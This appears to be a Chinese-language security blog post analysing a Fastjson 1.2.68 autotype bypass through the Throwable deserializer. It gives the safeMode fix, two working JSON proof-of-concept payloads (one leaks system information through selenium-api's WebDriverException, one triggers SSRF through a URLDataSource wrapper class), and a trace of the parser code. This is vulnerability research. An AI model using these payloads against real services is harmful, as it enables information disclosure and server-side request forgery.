Fastjson 1.2.68有限制地bypass autotype(Throwable)

參考:
fastjson 1.2.68 最新版本有限制 autotype bypass

1.2.68加入了一個safeMode功能,默認未開啓,需要用戶手動開啓。以下利用在默認未開啓情況下可利用。
修復方法:

ParserConfig.getGlobalInstance().setSafeMode(true);

依賴:

        <!-- test for fastjson 1.2.68 autotype bypass -->
        <dependency>
            <groupId>org.seleniumhq.selenium</groupId>
            <artifactId>selenium-api</artifactId>
            <version>3.141.59</version>
        </dependency>

在這裏下斷點:
selenium-api\3.141.59\selenium-api-3.141.59.jar!\org\openqa\selenium\WebDriverException#getSystemInformation()
在這裏插入圖片描述

可以獲取到一些敏感信息:
PoC:

{"content":{"$ref":"$x.systemInformation"}, "x": {"@type":"java.lang.Exception","@type":"org.openqa.selenium.WebDriverException"}}

在這裏插入圖片描述
還可以看到一些方法棧信息,看到一些服務端使用的框架的信息。

當然這個前提是需要WEB應用的classpath存在selenium-api

作者提出還有一個思路可以SSRF(當然也需要相應的classpath):
從mvn引入,或者自己寫一個類:

package org.joychou;

import javax.activation.DataSource;
import javax.activation.URLDataSource;
import java.net.URL;

public class DatasourceException extends Exception {

    public DatasourceException() {

    }

    private DataSource dataSource;

    public DataSource getDataSource() {
        return dataSource;
    }

    public void setDataSource(URL url) {
        this.dataSource = new URLDataSource(url);
    }
}

在這裏插入圖片描述
PoC:

{"@type":"java.lang.Exception","@type":"org.joychou.DatasourceException", "dataSource": {"@type": "java.net.URL", "val": "http://127.0.0.1:8888/fastjson"}}

在這裏插入圖片描述

細節

由於@type指定了爲java.lang.Exception
fastjson-1.2.68.jar!\com\alibaba\fastjson\parser\DefaultJSONParser#parseObject(Map object, Object fieldName)

ObjectDeserializer deserializer = this.config.getDeserializer(clazz);

得到的deserializer 爲ThrowableDeserializer類型。
在這裏插入圖片描述

跟進:

obj = deserializer.deserialze(this, clazz, fieldName);

在這裏插入圖片描述

javax.activation.URLDataSource#getContentType
javax.activation.URLDataSource#getInputStream
調用兩次HTTP請求。

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章